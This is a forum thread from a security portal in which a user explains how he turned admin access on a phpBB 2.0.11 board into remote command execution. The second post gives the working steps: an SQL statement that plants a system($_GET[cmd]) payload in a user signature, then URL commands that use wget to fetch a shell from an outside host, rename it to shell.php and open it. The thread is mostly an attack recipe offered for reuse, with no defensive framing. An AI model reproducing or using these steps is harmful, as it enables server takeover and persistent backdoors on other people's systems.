Waraxe IT Security Portal  
  Login or Register
::  Home  ::  Search  ::  Your Account  ::  Forums  ::   Waraxe Advisories  ::  Tools  ::
December 15, 2019
Menu
 Home
 Logout
 Discussions
 Forums
 Members List
 IRC chat
 Tools
 Base64 coder
 MD5 hash
 CRC32 checksum
 ROT13 coder
 SHA-1 hash
 URL-decoder
 Sql Char Encoder
 Affiliates
 y3dips ITsec
 Md5 Cracker
 User Manuals
 AlbumNow
 Content
 Content
 Sections
 FAQ
 Top
 Info
 Feedback
 Recommend Us
 Search
 Journal
 Your Account



User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9145

People Online:
Visitors: 234
Members: 2
Total: 236

Online Now:
01: david - Homepage
02: kolaz - Homepage
PacketStorm News
Currently there is a problem with headlines from this site
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> PhpBB -> Uploading Shell to phpBB 2.0.11.
Post new topic  Reply to topic View previous topic :: View next topic 
Uploading Shell to phpBB 2.0.11.
PostPosted: Tue Dec 15, 2009 5:26 pm Reply with quote
munglor
Regular user
Regular user
 
Joined: Nov 13, 2009
Posts: 20




I have access to the Administration Panel and am using the

Code:
UPDATE phpbb_users SET user_sig_bbcode_uid='(.+)/e\0', user_sig='[shit here] WHERE userid=2


exploit, haven't been able to execute anything beyond loading the phpinfo() on the edit profile page. This is my first time doing this with phpBB2, I almost wish they'd upgraded to phpBB3 so I could just use the FAQ page one.

I have r57.txt uploaded on an external server already and have no idea what to do from there.

Guidance?

[I've already used the Search function here, just a lot of poor English from clueless users like myself and no real answers.]
View user's profile Send private message
PostPosted: Tue Dec 15, 2009 11:38 pm Reply with quote
munglor
Regular user
Regular user
 
Joined: Nov 13, 2009
Posts: 20




Ah, nevermind. Got it myself. Very Happy

EDIT - In case anyone was curious and for future reference, I ended up using system instead of passthru and just went with a simple cmd implementation on the profile page.

Code:

UPDATE phpbb_users SET user_sig_bbcode_uid='(.+)/e\0', user_sig='phpbb:system($_GET[cmd])' WHERE user_id=2;


Then in the URL line I used the following cmds:

Code:
blahblah.net/profile.php?mode=editprofile&cmd=ls -lia


to show the directory.
Code:

blahblah.net/profile.php?mode=editprofile&cmd=wget http://myhosting.com/myshell.txt

to pull the file to the server.

Code:
blahblah.net/profile.php?mode=editprofile&cmd=mv myshell.txt shell.php


to rename the file as a .php script.
Code:

blahblah.net/profile.php?mode=editprofile&cmd=ls -lia


to verify that the file "shell.php" was indeed on the server.

Code:
blahblah.net/shell.php


to access the server through my uploaded shell. Smile
View user's profile Send private message
Uploading Shell to phpBB 2.0.11.
  www.waraxe.us Forum Index -> PhpBB
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT  
Page 1 of 1  

  
  
 Post new topic  Reply to topic  




Powered by phpBB 2001-2008 phpBB Group






Hardware reviews
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2013 Janek Vind "waraxe"
Page Generation: 0.082 Seconds